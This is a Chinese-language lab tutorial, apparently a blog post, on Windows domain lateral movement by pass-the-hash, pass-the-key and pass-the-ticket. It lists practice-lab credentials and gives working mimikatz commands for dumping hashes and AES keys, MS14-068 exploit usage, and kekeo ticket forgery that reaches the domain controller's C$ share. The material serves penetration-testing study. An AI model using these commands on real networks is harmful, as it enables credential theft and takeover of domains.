内网渗透学习(五)域横向移动——PTH&PTK&PTT
环境准备:
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45
w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
一、PTH
1.介绍
什么是 PTH 攻击?
pass the hash(hash传递攻击,简称 PTH),在一个计算机域中,为了方便管理,登录计算机时大多使用的域账号,若攻击者获得了其中一台主机的 LM 或 NTLM HASH 值,就可以通过哈希传递的方法登录内网中其它的计算机,从而实现内网横向移动。
PTH 攻击的优点:在目标主机中我们通常很难获取到明文密码,而使用 hash,无需明文密码即可正常登录。
PTH 攻击利用条件
- 被 pth 攻击的计算机未打补丁(KB2871997)
- 拿到一台域成员主机并且拿到管理员组的域用户的 NTML
- 对方主机存在相同账号并且是管理员组成员
2.演示
可使用 mimikatz 输入如下命令获取 LM 和 NTLM
sekurlsa::logonpasswords
使用已获得的 NTLM 值尝试连接
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM 值
在弹出的 cmd 窗口输入命令查看已连接上的主机文件
二、PTK
1.介绍
什么是 PTK 攻击?
pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。
KB2871997 补丁和 PTK
KB2871997补丁的特点:安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存不保存明文的密码。
KB2871997 补丁发布后常规的 Pass The Hash已经无法成功(除了 SID 500 账号例外),但是还可以通过AES密钥来替代NTLM验证进行横向的操作。
KB22871997是否真的能防御PTH攻击?https://www.freebuf.com/column/220740.html
2.演示
可使用 mimikatz 输入如下命令获取 aes256
sekurlsa::ekeys
使用已获得的 aes256 值尝试连接
sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值
三、PTT
1.介绍
什么是 PTT 攻击?
Pass-the-Ticket 攻击是一类利用后攻击,涉及盗窃和重复使用 Kerberos 票证,以在受感染的环境中对系统进行身份验证。在 Pass-the-Ticket 攻击中,攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。
PTT 与 PTH 的区别
Pass-the-hash 和 pass-the-ticket 之间的一个主要区别是 Kerberos TGT ticket 会过期(默认为10小时),而 NTLM hashes 只有在用户改变密码时才会改变。因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。
2.演示
(1)MS14-068
MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。
MS14-068 利用工具下载地址:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
利用流程
查看当前 sid
whoami/user
清空当前机器中所有凭证(如果有域成员凭证会影响凭证伪造)
mimikatz # kerberos::purge
利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
票据注入内存
kerberos::ptc TGT_mary@god.org.ccache
查看凭证列表
klist
漏洞利用成功
dir \\192.168.3.21\c$
(2)利用工具 kekeo
kekeo 是 gentilkiwi 开源的一个工具,我们也可以用它来实现票据传递。
下载地址:https://github.com/gentilkiwi/kekeo/releases
利用流程
生成票据
tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7
导入票据
kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
利用 net use 载入
dir \\192.168.3.21\c$